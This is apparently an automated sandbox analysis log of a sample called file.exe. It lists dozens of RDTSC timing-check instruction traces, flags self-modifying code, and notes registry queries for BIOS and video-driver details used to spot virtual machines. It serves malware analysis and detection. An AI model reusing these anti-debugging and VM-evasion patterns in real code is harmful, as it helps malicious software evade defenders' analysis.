Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59439 second address: F5943F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5943F second address: F59443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F596D6 second address: F596DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F596DC second address: F596E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59F10 second address: F59F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC221A94B26h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FC221A94B26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59F25 second address: F59F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59F29 second address: F59F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jno 00007FC221A94B32h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F59F47 second address: F59F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A528 second address: F5A53A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC221A94B2Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5A53A second address: F5A53F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5AAEE second address: F5AAFD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5C3B4 second address: F5C3C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FC220745DF6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F601B0 second address: F601B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F601B6 second address: F601D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007FC220745DF6h 0x00000015 popad 0x00000016 jmp 00007FC220745DFAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F6F0 second address: F5F707 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC221A94B32h 0x00000008 jg 00007FC221A94B26h 0x0000000e jne 00007FC221A94B26h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F707 second address: F5F711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F711 second address: F5F724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007FC221A94B26h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F724 second address: F5F73C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC220745E02h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F885 second address: F5F89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FC221A94B31h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FCA9 second address: F5FCF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC220745E05h 0x0000000a jmp 00007FC220745E06h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007FC220745E0Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FCF9 second address: F5FCFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FE43 second address: F5FE63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jno 00007FC220745DFEh 0x00000010 jo 00007FC220745DFCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F64996 second address: F649B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC221A94B37h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66027 second address: F66043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745DFBh 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FC220745DF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F66043 second address: F66047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C3CE second address: F6C3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC220745E03h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C3E9 second address: F6C3F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C58B second address: F6C591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C591 second address: F6C595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CC13 second address: F6CC17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D375 second address: F6D379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D379 second address: F6D38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC220745DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6D9F6 second address: F6DA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6DA04 second address: F6DA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC220745DF6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74BB0 second address: F74BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC221A94B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74BBA second address: F74BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74BBE second address: F74BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC221A94B35h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F74BDE second address: F74BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F818C4 second address: F818C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F81492 second address: F8149F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8149F second address: F814AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F814AB second address: F814AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F814AF second address: F814B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83D78 second address: F83DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745E03h 0x00000009 pop edi 0x0000000a push edi 0x0000000b jmp 00007FC220745DFFh 0x00000010 jbe 00007FC220745DF6h 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AEB6 second address: F8AEC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AEC2 second address: F8AEE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC220745DFCh 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FC220745E18h 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007FC220745DF6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AEE8 second address: F8AEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AEEC second address: F8AEF2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F973C9 second address: F973CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9A879 second address: F9A87D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA01FF second address: FA0205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ED30 second address: F9ED35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9EFD5 second address: F9F01B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC221A94B40h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007FC221A94B26h 0x00000019 jmp 00007FC221A94B33h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F01B second address: F9F03A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F03A second address: F9F040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F040 second address: F9F044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F044 second address: F9F04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F04A second address: F9F068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC220745E08h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F068 second address: F9F06C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F317 second address: F9F31B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F31B second address: F9F32E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jnp 00007FC221A94B26h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F5D8 second address: F9F5E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FC220745DF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3EBE second address: FA3EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3EC2 second address: FA3ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3ECA second address: FA3ECF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD345 second address: FBD363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745E07h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE7CF second address: FCE7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FC221A94B36h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FC221A94B2Bh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE7FA second address: FCE802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF1D6 second address: FCF1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF4C8 second address: FCF4D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC220745DFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF4D7 second address: FCF4DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF4DB second address: FCF4E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FC220745DF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF4E9 second address: FCF4F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FC221A94B26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF4F9 second address: FCF510 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC220745DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC220745DFDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0DE7 second address: FD0E2A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC221A94B37h 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FC221A94B26h 0x00000019 jmp 00007FC221A94B38h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD24DB second address: FD24F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4E2C second address: FD4E36 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4E36 second address: FD4E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4E3C second address: FD4E4F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD4E4F second address: FD4E55 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5150 second address: FD5159 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD539D second address: FD53A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD53A4 second address: FD53AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD53AA second address: FD53AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD53AE second address: FD53F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dh, 1Ah 0x0000000d push dword ptr [ebp+122D2FA7h] 0x00000013 mov edx, dword ptr [ebp+122D1910h] 0x00000019 call 00007FC221A94B29h 0x0000001e jmp 00007FC221A94B35h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jne 00007FC221A94B28h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD53F0 second address: FD5417 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC220745E00h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC220745DFAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD5417 second address: FD545C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FC221A94B2Ch 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jns 00007FC221A94B39h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD545C second address: FD5460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6E55 second address: FD6E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC221A94B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD6E5F second address: FD6E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD69A0 second address: FD69A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD69A4 second address: FD69AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561032F second address: 561034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 call 00007FC221A94B2Bh 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561034B second address: 561035C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745DFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561035C second address: 5610362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF780D second address: EF7811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D51A4B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D4F5BE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EFC629 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F774E8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

